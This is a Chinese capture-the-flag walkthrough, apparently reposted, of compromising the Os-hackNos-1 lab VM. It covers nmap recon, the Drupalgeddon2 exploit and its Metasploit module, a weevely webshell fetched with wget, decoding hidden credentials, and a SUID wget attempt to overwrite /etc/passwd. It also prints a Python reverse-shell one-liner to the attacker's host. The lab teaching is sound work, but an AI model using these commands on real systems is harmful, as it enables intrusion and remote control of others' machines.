一、环境搭建:Os-hackNos-1靶机
实验主机:kali linux 2021 虚拟机(VM) 实验靶机:Os-hackNos-1靶机(VM) 实验网络:NAT模式 实验难度:简单 flag:1.普通用户的user.txt;2.root用户的user.txt 技能:漏洞利用 | web应用 | 暴力破解 | 权限提升
二、信息收集:
主机发现:
确认自己的信息:
ifconfig

探测网段存活主机:
nmap -sP 192.168.138.0/24

端口扫描:
探测操作系统及软件版本信息
nmap -sTV -p- -Pn 192.168.138.129

经过探测我们发现,开放了22、80端口
22 端口 :SSH 服务端口,可能存在 弱口令和暴利破解
80 端口 :HTTP端口,可以通过目录扫描,去发现网站目录或者网站源码泄露或者备份文件泄露
尝试访问一下 80端口

目录探测:
探测一下网站目录信息:
探测到的网站目录信息:
http://192.168.138.129/drupal
http://192.168.138.129/index.html
http://192.168.138.129/serverstatus
http://192.168.138.129/drupal/includes
http://192.168.138.129/drupal/index.php
http://192.168.138.129/drupal/misc/
http://192.168.138.129/drupal/modules/
http://192.168.138.129/drupal/profiles/
http://192.168.138.129/drupal/robots.txt
http://192.168.138.129/drupal/scripts/
http://192.168.138.129/drupal/sites/
http://192.168.138.129/drupal/themes/
http://192.168.138.129/drupal/web.config
http://192.168.138.129/drupal/xmlrpc.php




可以看到网站CMS为drupal7,是存在一个远程代码执行的漏洞的,使用kali的msf模块,搜索drupal对应的exp
三、漏洞发现
发现CMS版本为drupal7 ,搜索一下关于这个的版本CMS漏洞

四、漏洞利用
git clone https://github.com/dreadlocked/Drupalgeddon2.git
在运行脚本前,需要预装依赖包 highline
gem install highline
./drupalgeddon2.rb http://192.168.X.X/drupal/ (靶机IP地址)
查看权限:
id
查看目录文件:
ls -lh


五、权限提升
利用weevely(kali 菜刀)
使用weevely 生成木马,再将木马上传到靶机上。
生成木马:
weevely generate hello ./door.php
打开kali web服务器:
python -m SimpleHTTPServer
在靶机上使用wget工具下载 kali 上生成的木马文件:
wget http://192.168.x.x:8000/door.php



使用weevely生成的木马内容

浏览用户目录:查看是否存在对我们有用的信息
cd /home
ls -lh
cd james
ls -lh
cat user.txt

在james用户目录下发现一串MD5哈希,估计是密码
bae11ce4f67af91fa58576c1da2aad4b 解码失败

浏览一下网站根目录,看看有没有别的利用途径:
切换到网站根目录:
cd /var/www/html
ls -lh
cat alexander.txt 在这个文件中发现一串base64编码的密文
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==
+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[->+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+++.<


解密结果很明显又使用了别的加密方式,网上查找资料后发现为Brainfuck加密,使用Brainfuck解码 解码之后得到:james:Hacker4514
Brainfuck解密网站:
https://www.splitbrain.org/services/ook
https://www.dcode.fr/brainfuck-language

切换用户:
尝试切换用户,发现并不能切换用户。

suid 提权:
先检查哪些命令具有suid权限(具有suid权限的命令可以以文件拥有者的权限执行)
audit_suidsgid -only-suid /

可以看到是拥有wget的权限的,进入/etc目录,开启一个临时web服务
cd /etc # 切换到 /etc目录下
python3 -m http.server 8888 # 在靶机上开启一个临时web服务
wget http://192.168.x.x:8888/passwd # 在kali上密码文件下载到本地
openssl passwd -1 -salt 账号 密码 # 利用openssl工具做加密
python3 -m http.server 9999 # 在kali上开启一个临时web服务
wget http://192.168.1.7:9999/passwd -0 passwd # 在靶机上,将passwd文件从kali上下载到靶机上来
su xiaohuang # 切换用户,切换到你刚才设置的



然后回到Os-hackNos-1靶机这边,将密码文件下载过来,并将原密码文件覆盖

查看passwd文件内容,可以看到写入的用户已经成功添加进去了

呕吼 ,切换失败了,(太草了)

msfconsole # 开启msf
search drupal # 搜索漏洞组件
use exploit/unix/webapp/drupal_drupalgeddon2(use 模块名称 ) # 选择使用的工具模块
set payload php/meterpreter/reverse_tcp(set payload + 给出指定路径) # 设置payload
set rhosts 192.168.58.156(目标靶机IP地址) # 设置攻击目标
set lhost 192.168.58.130(攻击机IP地址) # 设置本地监听
set TARGETURI /drupal(目标靶机IP地址) # 设置drupal网站路径
run # 开始攻击
尝试使用NC 反弹一个交互式 shell:
nc -lvvp 4444 # 开启本地监听
meterpreter > shell # 写入shell
shell: 需要写入自己的监听地址
python3 -c'import pty; pty.spawn("/bin/bash")'
或
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("本机监听IP地址",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'





拓展:
参考链接一 参考链接二
文章转载自在下小黄,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




